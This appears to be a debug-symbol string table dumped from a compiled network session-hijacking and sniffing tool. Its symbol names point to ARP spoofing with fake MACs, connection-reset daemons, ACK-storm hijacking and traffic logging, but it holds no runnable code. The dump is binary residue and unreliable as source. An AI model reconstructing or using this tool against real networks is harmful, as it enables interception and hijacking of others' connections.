connections:F(0,19)__buf:r(7,35)choose_connection:F(0,1)uci:p(0,20)=*(1,22)uci:r(0,20)arr_uci:(0,20)str:(7,35)retval:r(0,1)l_dump_connection:G(60,1)func_dump_connection_dst:F(0,19)arg:p(0,20)arg:r(0,20)func_dump_connection_src:F(0,19)ctrl_c_handler:f(0,19)i:p(0,1)dump_connection_uci:F(0,19)uci:p(0,20)mode:p(0,1)same_chars:p(0,1)p:(1,11)ifunc_src:(1,17)ifunc_dst:(1,17)sac:(50,1)old_sac:(50,1)dst_packet:(0,1)pbuf:(0,21)=ar(0,1);0;255;(0,2)pbuf_len:r(0,1)dump_connection:F(0,19)c:r(0,1)reset_connection:F(0,19)simple_hijack:F(0,19)cmdbuf:(0,22)=ar(0,1);0;255;(0,2)a_hijack:F(0,19)__src_fake_mac:(18,2)__dst_fake_mac:(18,2)src_fake_mac:(0,23)=*(0,11)dst_fake_mac:r(0,23)buf:(0,24)=ar(0,1);0;511;(0,2)retval2:r(0,1)input_mode:r(0,1)choose_daemon:f(0,19)daemon_menu:r(7,35)daemon_chars:r(7,35)run_it:r(0,1)init_modules:f(0,19)usage:f(0,19)argv0:p(7,35)argv0:r(7,35)prog_name:r(7,35)main_menu:G(7,35)main_menu_opt:G(7,35)eth_device:G(7,35)finish_c_handler:F(0,19)sig:p(0,1)main_reset:F(0,19)th_hunt:G(57,17)main_thread_id:G(57,17)verbose:G(0,1)tj_func:F(0,1)sec:p(0,1)sec:r(0,1)main:F(0,1)argc:p(0,1)argv:p(0,25)=*(7,35)argc:r(0,1)argv:r(0,25)intr_mask:G(46,2)loop_running:G(0,1)c/list.cclock_t:t(5,1)=(8,38)time_t:t(5,2)=(8,36)timespec:T(5,3)=s8tv_sec:(0,3),0,32;tv_nsec:(0,3),32,32;;tm:T(5,4)=s44tm_sec:(0,1),0,32;tm_min:(0,1),32,32;\tm_zone:(5,5)=*(0,2),320,32;;ssize_t:t(14,1)=(8,26)div_t:t(20,1)=(20,2)=s8quot:(0,1),0,32;rem:(0,1),32,32;;ldiv_t:t(20,3)=(20,4)=s8quot:(0,3),0,32;rem:(0,3),32,32;;u_char:t(22,1)=(8,1)u_short:t(22,2)=(8,2)u_int:t(22,3)=(8,3)u_long:t(22,4)=(8,4)quad_t:t(22,5)=(8,6)u_quad_t:t(22,6)=(8,5)fsid_t:t(22,7)=(8,30)loff_t:t(22,8)=(8,24)ino_t:t(22,9)=(8,20)dev_t:t(22,10)=(8,17)gid_t:t(22,11)=(8,19)mode_t:t(22,12)=(8,21)nlink_t:t(22,13)=(8,22)uid_t:t(22,14)=(8,18)off_t:t(22,15)=(8,23)pid_t:t(22,16)=(8,25)id_t:t(22,17)=(8,29)daddr_t:t(22,18)=(8,33)caddr_t:t(22,19)=(8,34)key_t:t(22,20)=(8,43)ulong:t(22,21)=(0,5)ushort:t(22,22)=(0,9)uint:t(22,23)=(0,4)int8_t:t(22,24)=(0,10)int16_t:t(22,25)=(0,8)int32_t:t(22,26)=(0,1)int64_t:t(22,27)=(0,6)u_int8_t:t(22,28)=(0,11)u_int16_t:t(22,29)=(0,9)u_int32_t:t(22,30)=(0,4)u_int64_t:t(22,31)=(0,7)register_t:t(22,32)=(0,1)blkcnt_t:t(22,33)=(8,45)fsblkcnt_t:t(22,34)=(8,47)fsfilcnt_t:t(22,35)=(8,49)random_data:T(20,5)=s28fptr:(20,6)=*(22,26),0,32;rptr:(20,6),32,32;\state:(20,6),64,32;rand_type:(0,1),96,32;rand_deg:(0,1),128,32;\rand_sep:(0,1),160,32;end_ptr:(20,6),192,32;;drand48_data:T(20,7)=s24x:(20,8)=ar(0,1);0;2;(0,9),0,48;\a:(20,8),48,48;c:(0,9),96,16;old_x:(20,8),112,48;\__compar_fn_t:t(20,9)=(20,10)=*(20,11)=f(0,1)/usr/include/errno.h/usr/include/bits/errno.h/usr/include/linux/errno.h/usr/include/asm/errno.hsigset_t:t(36,1)=(12,2)_pthread_fastlock:T(38,1)=s8__status:(0,3),0,32;__spinlock:(0,1),32,32;;_pthread_descr:t(38,2)=(38,3)=*(38,4)=xs_pthread_descr_struct:pthread_attr_t:t(38,5)=(38,6)=s36__detachstate:(0,1),0,32;\__schedpolicy:(0,1),32,32;__schedparam:(35,2),64,32;\__guardsize:(6,1),160,32;__stackaddr_set:(0,1),192,32;\__stackaddr:(38,7)=*(0,19),224,32;__stacksize:(6,1),256,32;;pthread_cond_t:t(38,8)=(38,9)=s12__c_lock:(38,1),0,64;\__c_waiting:(38,2),64,32;;pthread_condattr_t:t(38,10)=(38,11)=s4__dummy:(0,1),0,32;;pthread_key_t:t(38,12)=(0,4)pthread_mutex_t:t(38,13)=(38,14)=s24__m_reserved:(0,1),0,32;\__m_count:(0,1),32,32;__m_owner:(38,2),64,32;\__m_kind:(0,1),96,32;__m_lock:(38,1),128,64;;pthread_mutexattr_t:t(38,15)=(38,16)=s4__mutexkind:(0,1),0,32;;pthread_once_t:t(38,17)=(0,1)pthread_t:t(38,18)=(0,5)list:T(41,1)=s64l_first:(38,7),0,32;l_last:(38,7),32,32;\l_iter:(41,2)=*(41,3)=xslist_iterator:,128,32;l_locked:(0,1),160,32;\l_mutex:(38,13),192,192;l_notempty:(38,8),384,96;\l_locked_thr:(38,18),480,32;;list_iterator:T(41,3)=s12i_list:(41,4)=*(41,1),0,32;\i_cur:(38,7),32,32;i_next:(41,2),64,32;;list_init:F(0,19)l:p(41,4)next_offset:p(0,1)l:r(41,4)next_offset:r(0,1)list_flush:F(0,19)i:r(41,2)list_push:F(0,19)m:p(38,7)m:r(38,7)old_item:r(38,7)new_item:r(38,7)list_insert_at:F(0,19)nr:p(0,1)nr:r(0,1)p:r(0,20)=*(38,7)list_enqueue:F(0,19)list_produce:F(0,19)list_produce_start:F(0,19)list_produce_done:F(0,19)list_pop:F(38,7)retval:r(38,7)__list_consume:f(38,7)absts:p(0,21)=*(5,3)ts:(5,3)list_consume:F(38,7)absts:p(0,21)list_consume_rel:F(38,7)relts:p(0,21)relts:r(0,21)now:(13,1)absts:(5,3)list_peek:F(38,7)list_at:F(38,7)p:r(38,7)list_remove:F(38,7)m:(38,7)p:r(0,20)list_remove_at:F(38,7)list_remove_func:F(38,7)func:p(0,22)=*(0,23)=f(0,1)func:(0,22)list_count:F(0,1)list_lock:F(0,19)list_unlock:F(0,19)list_iter_set:F(0,19)i:p(41,2)list_iter_end:F(0,19)p:r(0,24)=*(41,2)list_iter_get:F(38,7)__func_remove:f(0,1)p:p(38,7)__func_remove_at:f(0,1)c/hash.csize_t:t(5,1)=(0,4)wchar_t:t(5,2)=(0,3)__gnuc_va_list:t(27,1)=(27,2)=*(0,19)_pthread_fastlock:T(44,1)=s8__status:(0,3),0,32;__spinlock:(0,1),32,32;;_pthread_descr:t(44,2)=(44,3)=*(44,4)=xs_pthread_descr_struct:pthread_attr_t:t(44,5)=(44,6)=s36__detachstate:(0,1),0,32;\__schedpolicy:(0,1),32,32;__schedparam:(38,2),64,32;\__guardsize:(5,1),160,32;__stackaddr_set:(0,1),192,32;\__stackaddr:(27,2),224,32;__stacksize:(5,1),256,32;;pthread_cond_t:t(44,7)=(44,8)=s12__c_lock:(44,1),0,64;\__c_waiting:(44,2),64,32;;pthread_condattr_t:t(44,9)=(44,10)=s4__dummy:(0,1),0,32;;pthread_key_t:t(44,11)=(0,4)pthread_mutex_t:t(44,12)=(44,13)=s24__m_reserved:(0,1),0,32;\__m_count:(0,1),32,32;__m_owner:(44,2),64,32;\__m_kind:(0,1),96,32;__m_lock:(44,1),128,64;;pthread_mutexattr_t:t(44,14)=(44,15)=s4__mutexkind:(0,1),0,32;;pthread_once_t:t(44,16)=(0,1)pthread_t:t(44,17)=(0,5) :T(35,1)=ePTHREAD_CREATE_JOINABLE:0,PTHREAD_CREATE_DETACHED:1,; :T(35,2)=ePTHREAD_INHERIT_SCHED:0,PTHREAD_EXPLICIT_SCHED:1,; :T(35,3)=ePTHREAD_SCOPE_SYSTEM:0,PTHREAD_SCOPE_PROCESS:1,; :T(35,4)=ePTHREAD_MUTEX_FAST_NP:0,PTHREAD_MUTEX_RECURSIVE_NP:1,\ :T(35,5)=ePTHREAD_PROCESS_PRIVATE:0,PTHREAD_PROCESS_SHARED:1,;_pthread_cleanup_buffer:T(35,6)=s16__routine:(35,7)=*(35,8)=f(0,19),0,32;\__arg:(27,2),32,32;__canceltype:(0,1),64,32;\__prev:(35,9)=*(35,6),96,32;; :T(35,10)=ePTHREAD_CANCEL_ENABLE:0,PTHREAD_CANCEL_DISABLE:1,; :T(35,11)=ePTHREAD_CANCEL_DEFERRED:0,PTHREAD_CANCEL_ASYNCHRONOUS:1,;hash_equal_func:t(34,1)=(34,2)=*(34,3)=f(0,1)hash_table_item:T(34,4)=s8ht_key:(0,4),0,32;ht_data:(27,2),32,32;;hash:T(34,5)=s52h_items:(0,1),0,32;h_max_items:(0,1),32,32;\h_space_after:(0,1),64,32;h_table:(34,6)=*(34,4),96,32;\h_eqfunc:(34,1),128,32;h_locked:(0,1),160,32;h_locked_thr:(44,17),192,32;\h_mutex:(44,12),224,192;;hash_iterator:T(34,7)=s8i_hash:(34,8)=*(34,5),0,32;\__chose_table_size:f(0,1)size:p(0,1)size:r(0,1)ht_size:V(0,20)=ar(0,1);0;43;(0,1)hash_init:F(0,1)h:p(34,8)max_items:p(0,1)eqfunc:p(34,1)h:r(34,8)max_items:r(0,1)hash_free:F(0,19)__hash_find:f(0,1)arg:p(27,2)retval:(0,1)hv:r(0,1)h_table:r(34,6)max_items:(0,4)__hash_put:f(0,19)data:p(27,2)key:r(0,4)data:r(27,2)__hash_put_check:f(0,1)__hash_remap:f(0,19)hv:p(0,1)ht_save:(34,6)__hash_new_space:f(0,19)old_h_table:(34,6)old_items:r(0,1)old_max_items:(0,1)hash_get:F(27,2)retval:r(27,2)hash_remove:F(27,2)hash_put:F(0,1)hash_put_check:F(0,1)hash_count:F(0,1)hash_lock:F(0,19)hash_unlock:F(0,19)hash_iter_set:F(0,19)i:p(0,21)=*(34,7)i:r(0,21)hash_iter_lock:F(0,19)i:p(0,21)hash_iter_unlock:F(0,19)hash_iter_get:F(27,2)keyptr:p(0,22)=*(0,4)hash_iter_end:F(0,19)__hv_hash:S(0,4)__hv_hash_save:S(0,4)__hv_max_items:S(0,4)c/array.cc/array.harray_item:T(25,1)=s4ai_data:(35,7),0,32;;array:T(25,2)=s44a_arr:(25,3)=*(25,1),0,32;a_size:(0,1),32,32;\a_items:(0,1),64,32;a_locked:(0,1),96,32;a_locked_thr:(35,18),128,32;\a_mutex:(35,13),160,192;;array_iterator:T(25,4)=s8i_array:(25,5)=*(25,2),0,32;\array_init:F(0,19)a:p(25,5)a:r(25,5)array_free:F(0,19)array_at:F(35,7)retval:r(35,7)array_remove_at:F(35,7)array_put_at:F(35,7)m:p(35,7)m:(35,7)array_remove:F(35,7)m:r(35,7)ai:r(25,3)need_space:f(0,19)new_size:r(0,1)new_arr:r(25,3)__s:r(35,7)array_put:F(0,1)array_pop:F(35,7)array_count:F(0,1)array_lock:F(0,19)array_unlock:F(0,19)array_iter_lock:F(0,19)ai:p(0,20)=*(25,4)ai:r(0,20)array_iter_unlock:F(0,19)ai:p(0,20)array_iter_set:F(0,19)array_iter_get:F(35,7)array_iter_end:F(0,19)util.c/usr/include/arpa/inet.h/usr/include/netdb.h/usr/include/rpc/netdb.hrpcent:T(87,1)=s12r_name:(7,35),0,32;r_aliases:(87,2)=*(7,35),32,32;\r_number:(0,1),64,32;;hostent:T(86,1)=s20h_name:(7,35),0,32;h_aliases:(87,2),32,32;\h_addrtype:(0,1),64,32;h_length:(0,1),96,32;\h_addr_list:(87,2),128,32;;netent:T(86,2)=s16n_name:(7,35),0,32;n_aliases:(87,2),32,32;\n_addrtype:(0,1),64,32;n_net:(0,5),96,32;;servent:T(86,3)=s16s_name:(7,35),0,32;s_aliases:(87,2),32,32;\s_port:(0,1),64,32;s_proto:(7,35),96,32;;protoent:T(86,4)=s12p_name:(7,35),0,32;p_aliases:(87,2),32,32;\p_proto:(0,1),64,32;;addrinfo:T(86,5)=s32ai_flags:(0,1),0,32;ai_family:(0,1),32,32;\ai_socktype:(0,1),64,32;ai_protocol:(0,1),96,32;\ai_addrlen:(0,1),128,32;ai_addr:(21,5),160,32;\ai_canonname:(7,35),192,32;ai_next:(86,6)=*(86,5),224,32;;print_colors:F(0,19)set_tty_color:F(0,19)color:p(1,36)set_tty_color_bg:F(0,19)fg:p(1,36)bg:p(1,36)fg:r(1,36)buf:(0,20)=ar(0,1);0;31;(0,2)is_power2:F(0,1)i:p(0,4)i:r(0,4)log2:F(0,1)l:r(0,1)count_mask:F(0,1)mask:p(0,4)mask:r(0,4)print_data_packet:F(0,19)data_len:p(0,1)dst_packet:p(0,1)hsrc_seq_done:V(0,4)hdst_seq_done:V(0,4)data_start:r(0,1)print_data:F(0,19)label:p(7,35)data:p(23,7)len:p(0,1)data:r(23,7)len:r(0,1)pseudo_header:T(0,21)=s12saddr:(0,5),0,32;daddr:(0,5),32,32;\null:(0,11),64,8;proto:(0,11),72,8;tlen:(0,9),80,16;;ip_in_cksum:F(0,9)ptr:p(0,22)=*(0,9)nbytes:p(0,1)ptr:r(0,22)nbytes:r(0,1)sum:r(0,3)oddbyte:r(6,2)answer:r(6,2)pheader_len:r(0,1)pheader_ptr:(0,22)pheader:(0,21)in_cksum:F(0,9)ptr:p(0,22)sprintf_eth_mac:F(0,1)mac:p(0,23)=*(0,11)mac:r(0,23)print_eth_mac:F(0,1)mac:p(0,23)buf:(0,24)=ar(0,1);0;63;(0,2)rawsock:F(0,1)fd:r(0,1)val:(0,1)sprintf_db_ports:F(0,1)ports:p(0,25)=*(0,4)buf:p(7,35)buf_size:p(0,1)all:p(0,1)buf:r(7,35)buf_orig:(7,35)port_match:F(0,1)port:p(0,1)db_ports:p(0,25)port:r(0,1)db_ports:r(0,25)start:r(0,1)end:r(0,1)pass:r(0,1)port_htons:F(0,19)upper:r(0,4)__suggest_mac:G(18,2)suggest_mac:F(0,23)ctrl_c_prompt:F(0,19)clear_scr:F(0,19)writen:F(0,1)fd:p(0,1)ptr:p(7,35)ptr:r(7,35)nleft:r(0,1)nwritten:r(0,1)net.c/usr/include/sys/uio.h/usr/include/bits/uio.hiovec:T(23,9)=s8iov_base:(23,7),0,32;iov_len:(8,1),32,32;;Sendmsg:F(0,1)s:p(0,1)msg:p(0,20)=*(23,6)flags:p(0,4)flags:r(0,4)retry_count:r(0,1)ts:(16,1)send_tcp_packet:F(0,1)ts:p(0,21)=*(1,45)tot_len:r(0,1)buf:(0,22)=ar(0,1);0;2047;(0,2)data:r(7,35)eth:(1,4)msg:(23,6)spkt:(23,3)iov:(23,9)__s:r(23,7)send_icmp_packet:F(0,1)is:p(0,23)=*(1,46)is:r(0,23)buf:(0,24)=ar(0,1);0;2047;(0,2)data:(7,35)icmp:r(1,10)data_len:(0,1)send_icmp_request:F(0,19)src_addr:p(0,4)dst_addr:p(0,4)src_mac:p(7,35)dst_mac:p(7,35)seq:p(0,1)src_addr:r(0,4)dst_addr:r(0,4)src_mac:r(7,35)dst_mac:r(7,35)icmp:(1,46)is_icmp_reply:F(0,1)icmph:r(1,10)ethh:r(1,4)send_arp_packet:F(0,1)as:p(0,25)=*(1,49)as:r(0,25)buf:(0,26)=ar(0,1);0;511;(0,2)eth:r(1,4)arp:r(1,6)arpeth:r(0,27)=*(1,29)__s:(23,7)send_packet:F(0,1)rst.cuser_rst:F(0,19)mode:r(0,1)ci:r(0,21)=*(1,21)uci:(0,20)rst:F(0,19)rstdst:p(0,1)ts:(1,45)menu.c/usr/include/ctype.h :T(84,1)=e_ISupper:256,_ISlower:512,_ISalpha:1024,\_ISdigit:2048,_ISxdigit:4096,_ISspace:8192,\_ISprint:16384,_ISgraph:32768,_ISblank:1,\_IScntrl:2,_ISpunct:4,_ISalnum:8,;/usr/include/setjmp.h/usr/include/bits/setjmp.h__jmp_buf:t(86,1)=(86,2)=ar(0,1);0;5;(0,1)__jmp_buf_tag:T(85,1)=s156__jmpbuf:(86,1),0,192;__mask_was_saved:(0,1),192,32;\__saved_mask:(15,2),224,1024;;jmp_buf:t(85,2)=(85,3)=ar(0,1);0;0;(85,1)sigjmp_buf:t(85,4)=(85,2)menu_prompt:f(0,1)dfl:p(7,35)label:r(7,35)dfl:r(7,35)__dest:(7,35)parse_unr:F(0,1)min:p(0,1)max:p(0,1)tmp:(7,35)__endptr:r(64,2)parse_ports:F(0,1)ret_ports:p(0,20)=*(0,4)buf_p:(7,35)p:r(7,35)d:r(7,35)ports:(0,21)=ar(0,1);0;16;(0,1)err:(0,1)__nptr:r(38,3)was_already_signaled:r(0,1)parse_hostname:F(0,4)new_mask:(46,2)buf_p:r(7,35)hent:r(0,22)=*(63,1)parse_mac:F(0,1)mac_ret:p(7,35)mac:(18,2)err:r(0,1)__endptr:(64,2)menu_choose_unr:F(0,1)dfl:p(0,1)max:r(0,1)dfl:r(0,1)buf:(0,23)=ar(0,1);0;63;(0,2)__dfl_buf:(0,24)=ar(0,1);0;63;(0,2)dfl_buf:r(7,35)menu_choose_mac:F(0,1)mac_ret:p(0,25)=*(0,11)mac_ret:r(0,25)menu_choose_hostname:F(0,4)buf:(0,27)=ar(0,1);0;255;(0,2)menu_choose_ports:F(0,1)ret_ports:p(0,28)=*(0,1)ret_ports:r(0,28)buf:(0,29)=ar(0,1);0;511;(0,2)menu_choose_host_mask_ports:F(0,1)ret_ip:p(0,20)ret_mask:p(0,20)ret_ports:p(0,20)buf:(0,30)=ar(0,1);0;255;(0,2)host_name:r(7,35)mask_str:r(7,35)ports_str:r(7,35)with_mask:r(0,1)mask:r(0,1)ports:(1,34)menu_choose_host_mask_ports_dfl:F(0,1)dfl_ip:p(0,4)dfl_mask:p(0,4)dfl_ports:p(0,28)dfl_ip:r(0,4)dfl_ports:r(0,28)dfl:(0,31)=ar(0,1);0;255;(0,2)menucc_mutex:S(57,12)menucc_in_menu:S(0,1)menucc_conn_ind:S(0,1)menucc_conn_s:S(0,1)menucc_conn_s_old:S(0,1)clear_new_conn_ind:F(0,19)print_new_conn_ind:F(0,19)add_new:p(0,1)add_new:r(0,1)last:V(0,1)menu_choose_char_nconn:F(0,1)opt:p(7,35)conn_ind:p(0,1)opt:r(7,35)dfl:r(0,2)buf:(0,32)=ar(0,1);0;63;(0,2)menu_choose_char:F(0,1)menu_choose_yn:F(0,1)menu_choose_string:F(0,1)ret_buf:p(7,35)buf_len:p(0,1)buf:(0,33)=ar(0,1);0;511;(0,2)min_len:r(0,1)menu:F(0,1)head:p(7,35)str_menu:p(7,35)head:r(7,35)str_menu:r(7,35)dfl:(0,2)press_key:F(0,19)menu_choose_sdb:F(0,1)str:r(7,35)__label:(0,34)=ar(0,1);0;127;(0,2)lbl:r(7,35)buf:(0,35)=ar(0,1);0;63;(0,2)__buf_dfl:(0,36)=ar(0,1);0;1;(0,2)buf_dfl:r(7,35)int_to_sdb:F(0,2)retval:r(0,2)sdb_to_int:F(0,1)mode:r(0,2)sdbmode_to_char:F(7,35)str_mode:r(7,35)jmp_hostbyname:S(85,4)ctrl_c_signaled:S(0,1)menucc_label:S(7,35)menucc_opt:S(7,35)menucc_dfl:S(0,2)hijack.cuser_stormack_hijack:F(0,1)cmdbuf:p(7,35)l_hijack_conn:G(60,1)func_hijack_dst:F(0,19)arg:p(0,21)arg:r(0,21)func_hijack_src:F(0,19)fast_ack_to_dst:F(0,19)storm_reset_sec:G(0,1)stormack_hijack_wait_sec:G(0,1)stormack_hijack:F(0,1)cmdbuf:r(7,35)relts:(16,1)ifunc_ack:(1,17)reset_time:(41,1)now:(41,1)src_ack:(0,4)src_ack_count:(0,1)reset_it:(0,1)count_dst:(0,1)ack_storm_detect:(0,1)cmdbuf_len:r(0,1)usec:r(0,1)d_sec:r(0,1)rstd.crst_db_item:T(0,20)=s164src_addr:(0,4),0,32;src_mask:(0,4),32,32;\dst_addr:(0,4),64,32;dst_mask:(0,4),96,32;src_ports:(1,34),128,544;\dst_ports:(1,34),672,544;rst_mode:(0,1),1216,32;\rst_only_syn:(0,1),1248,32;next:(0,21)=*(0,20),1280,32;;l_rst_packet:S(60,1)rstd_running:S(0,1)l_rst_db:S(60,1)packet_match_db:f(0,21)li:(60,3)dbi:r(0,21)func_tcp_packet:f(0,19)rst_daemon_thr:f(23,7)ci:r(0,22)=*(1,21)__ci:(1,21)pci:(0,22)rst_mode:r(0,1)rst_daemon_start:f(0,19)rst_daemon_stop:f(0,19)print_rst_daemon:F(0,19)db_item_print:f(0,19)dbi:p(0,21)str_mode:(7,35)buf_src_ports:(0,23)=ar(0,1);0;511;(0,2)buf_dst_ports:(0,24)=ar(0,1);0;511;(0,2)buf:(0,25)=ar(0,1);0;511;(0,2)rst_list_items:f(0,19)rst_add_item:f(0,19)src_ip:(0,4)dst_ip:(0,4)src_mask:(0,4)dst_mask:(0,4)src_ports:(0,26)=ar(0,1);0;16;(0,1)dst_ports:(0,27)=ar(0,1);0;16;(0,1)mode:(0,1)syn_mode:(0,1)nr:(0,1)rst_mod_item:f(0,19)src_ports:(0,28)=ar(0,1);0;16;(0,1)dst_ports:(0,29)=ar(0,1);0;16;(0,1)rst_del_item:f(0,19)rstd_menu:F(0,19)r_menu:r(7,35)r_keys:r(7,35)ifunc_tcp:S(1,17)rstd_thr:S(57,17)sniff.c/usr/include/sys/stat.h/usr/include/bits/stat.hstat:T(63,1)=s88st_dev:(7,17),0,64;__pad1:(0,9),64,16;\st_ino:(7,20),96,32;st_mode:(7,21),128,32;st_nlink:(7,22),160,32;\st_uid:(7,18),192,32;st_gid:(7,19),224,32;st_rdev:(7,17),256,64;\__pad2:(0,9),320,16;st_size:(7,23),352,32;st_blksize:(0,5),384,32;\st_blocks:(7,45),416,32;st_atime:(7,36),448,32;\__unused1:(0,5),480,32;st_mtime:(7,36),512,32;\__unused2:(0,5),544,32;st_ctime:(7,36),576,32;\__unused3:(0,5),608,32;__unused4:(0,5),640,32;\__unused5:(0,5),672,32;;o_newline:G(0,1)sniff_log:T(0,20)=s40src_addr:(0,4),0,32;dst_addr:(0,4),32,32;\src_port:(0,9),64,16;dst_port:(0,9),80,16;src_to_dst:(0,1),96,32;\loged_bytes:(0,1),128,32;buf:(7,35),160,32;state:(0,1),192,32;\file_close:(0,1),224,32;file:(0,21)=*(70,1),256,32;\next:(0,22)=*(0,20),288,32;;sniff_info:T(0,23)=s280src_addr:(0,4),0,32;dst_addr:(0,4),32,32;\src_mask:(0,1),64,32;dst_mask:(0,1),96,32;src_ports:(0,24)=ar(0,1);0;16;(0,1),128,544;\dst_ports:(0,24),672,544;srch_mode:(0,1),1216,32;\search:(7,35),1248,32;log_mode:(0,1),1280,32;log_bytes:(0,1),1312,32;\file_close:(0,1),1344,32;file:(0,21),1376,32;log:(60,1),1408,512;\lock_count:(0,1),1920,32;lock_cond:(57,7),1952,96;\mutex:(57,12),2048,192;;sniffer_running:S(0,1)l_sniff_pkt:S(60,1)l_sniff_db:S(60,1)sniff_info_want:f(0,19)si:p(0,25)=*(0,23)si:r(0,25)sniff_info_release:f(0,19)si:p(0,25)sniff_info_wait_for_release:f(0,19)free_sniff_log:F(0,19)slog:p(0,22)slog:r(0,22)free_sniff_info:F(0,19)sniff_item_print:f(0,19)f:p(0,21)str_srch_mode:(7,35)str_log_mode:(7,35)buf_src_ports:(0,26)=ar(0,1);0;511;(0,2)buf_dst_ports:(0,27)=ar(0,1);0;511;(0,2)buf:(0,28)=ar(0,1);0;511;(0,2)host_buf:(0,29)=ar(0,1);0;511;(0,2)sniff_log_item_print:f(0,19)direction:r(7,35)func_sniff:f(0,19)sniffer_log_print:F(0,19)file_name:(0,30)=ar(0,1);0;511;(0,2)file_name_buf:(0,31)=ar(0,1);0;511;(0,2)stat_buf:(63,1)f:r(0,21)memfind:F(7,35)data:p(7,35)str:p(7,35)str_len:p(0,1)data_len:r(0,1)sniff_log_match:F(7,35)m_src_to_dst:(0,1)m_dst_to_src:(0,1)find:(0,1)log_data:r(7,35)retval:(7,35)sniffer_match:F(7,35)__slog:p(0,32)=*(0,22)tcph:(1,8)retval:r(7,35)rret:r(23,7)sniffer_log:F(0,19)space:r(0,1)sniffer:f(23,7)slog:(0,22)sniff_daemon_init:f(0,1)start_sniff:f(0,19)stop_sniff:f(0,19)print_sniff_daemon:F(0,19)sniff_item_log_print:f(0,19)l_nr:p(0,33)=*(0,1)state:r(7,35)host_buf:(0,34)=ar(0,1);0;511;(0,2)sniff_list_db:f(0,19)l_nr:(0,1)sniff_add_item:f(0,19)buf:(0,35)=ar(0,1);0;511;(0,2)file_name:(0,36)=ar(0,1);0;511;(0,2)file_name_buf:(0,37)=ar(0,1);0;511;(0,2)src_mask:(0,1)dst_mask:(0,1)src_ports:(0,24)dst_ports:(0,24)srch_mode:(0,1)log_mode:(0,1)log_bytes:(0,1)f:(0,21)sniff_mod_item:f(0,19)buf:(0,38)=ar(0,1);0;511;(0,2)sniff_del_item:f(0,19)newline_option:F(0,19)sniff_options:F(0,19)o_menu:r(7,35)o_keys:r(7,35)sniff_menu:F(0,19)ifunc_sniff:S(1,17)sniff_thr:S(57,17)macdisc.cmac_discover_range:F(0,19)start_ip:p(0,4)end_ip:p(0,4)addr:r(0,4)j:r(0,4)mac_discover:F(0,19)as:(1,49)mac_disc_info:T(0,20)=s12start_addr:(0,4),0,32;end_addr:(0,4),32,32;\next:(0,21)=*(0,20),64,32;;l_mdi:S(60,1)wait_sec:S(0,1)stop_break:S(0,1)thr_running:S(0,1)stop:S(0,1)mutex_stop:S(57,12)cond_stop:S(57,7)mac_disc_thr:f(23,7)mdi:r(0,21)start_mac_discovery:f(0,1)stop_mac_discovery:f(0,1)print_mac_daemon:F(0,19)mdi_list:f(0,19)mdi_add:f(0,19)start_ip:r(0,4)end_ip:r(0,4)mdi_mod:f(0,19)mdi_del:f(0,19)mdi_time_wait:f(0,19)min:r(0,1)mac_disc_menu:F(0,19)m_menu:r(7,35)m_keys:r(7,35)mac_thr:S(57,17)tap.cFILE:t(1,1)=(1,2)=xs_IO_FILE:fpos_t:t(1,3)=(7,23)off_t:t(1,4)=(7,23)u_char:t(17,1)=(7,1)u_short:t(17,2)=(7,2)u_int:t(17,3)=(7,3)u_long:t(17,4)=(7,4)quad_t:t(17,5)=(7,6)u_quad_t:t(17,6)=(7,5)fsid_t:t(17,7)=(7,30)loff_t:t(17,8)=(7,24)ino_t:t(17,9)=(7,20)dev_t:t(17,10)=(7,17)gid_t:t(17,11)=(7,19)mode_t:t(17,12)=(7,21)nlink_t:t(17,13)=(7,22)uid_t:t(17,14)=(7,18)pid_t:t(17,15)=(7,25)id_t:t(17,16)=(7,29)ssize_t:t(17,17)=(7,26)daddr_t:t(17,18)=(7,33)caddr_t:t(17,19)=(7,34)key_t:t(17,20)=(7,43)ulong:t(17,21)=(0,5)ushort:t(17,22)=(0,9)uint:t(17,23)=(0,4)int8_t:t(17,24)=(0,10)int16_t:t(17,25)=(0,8)int32_t:t(17,26)=(0,1)int64_t:t(17,27)=(0,6)u_int8_t:t(17,28)=(0,11)u_int16_t:t(17,29)=(0,9)u_int32_t:t(17,30)=(0,4)u_int64_t:t(17,31)=(0,7)register_t:t(17,32)=(0,1)blkcnt_t:t(17,33)=(7,45)fsblkcnt_t:t(17,34)=(7,47)fsfilcnt_t:t(17,35)=(7,49)sigval:T(37,1)=u4sival_int:(0,1),0,32;sival_ptr:(6,2),0,32;;sigval_t:t(37,2)=(37,1)siginfo:T(37,3)=s128si_signo:(0,1),0,32;si_errno:(0,1),32,32;\si_code:(0,1),64,32;_sifields:(37,4)=u116_pad:(37,5)=ar(0,1);0;28;(0,1),0,928;\_kill:(37,6)=s8si_pid:(7,25),0,32;si_uid:(7,18),32,32;;,0,64;\_timer:(37,7)=s8_timer1:(0,4),0,32;_timer2:(0,4),32,32;;,0,64;\_rt:(37,8)=s12si_pid:(7,25),0,32;si_uid:(7,18),32,32;\si_sigval:(37,2),64,32;;,0,96;_sigchld:(37,9)=s20si_pid:(7,25),0,32;\si_stime:(7,38),128,32;;,0,160;_sigfault:(37,10)=s4si_addr:(6,2),0,32;;,0,32;\_sigpoll:(37,11)=s8si_band:(0,1),0,32;si_fd:(0,1),32,32;;,0,64;;,96,928;;siginfo_t:t(37,12)=(37,3) :T(37,13)=eSI_SIGIO:-5,SI_ASYNCIO:-4,SI_MESGQ:-3,\ :T(37,14)=eILL_ILLOPC:1,ILL_ILLOPN:2,ILL_ILLADR:3,\ :T(37,15)=eFPE_INTDIV:1,FPE_INTOVF:2,FPE_FLTDIV:3,\ :T(37,16)=eSEGV_MAPERR:1,SEGV_ACCERR:2,; :T(37,17)=eBUS_ADRALN:1,BUS_ADRERR:2,BUS_OBJERR:3,; :T(37,18)=eTRAP_BRKPT:1,TRAP_TRACE:2,; :T(37,19)=eCLD_EXITED:1,CLD_KILLED:2,CLD_DUMPED:3,\ :T(37,20)=ePOLL_IN:1,POLL_OUT:2,POLL_MSG:3,\sigevent:T(37,21)=s64sigev_value:(37,2),0,32;sigev_signo:(0,1),32,32;\sigev_notify:(0,1),64,32;_sigev_un:(37,22)=u52_pad:(37,23)=ar(0,1);0;12;(0,1),0,416;\_sigev_thread:(37,24)=s8_function:(37,25)=*(37,26)=f(0,19),0,32;\_attribute:(6,2),32,32;;,0,64;;,96,416;;sigevent_t:t(37,27)=(37,21) :T(37,28)=eSIGEV_SIGNAL:0,SIGEV_NONE:1,SIGEV_THREAD:2,;sigstack:T(41,1)=s8ss_sp:(6,2),0,32;ss_onstack:(0,1),32,32;; 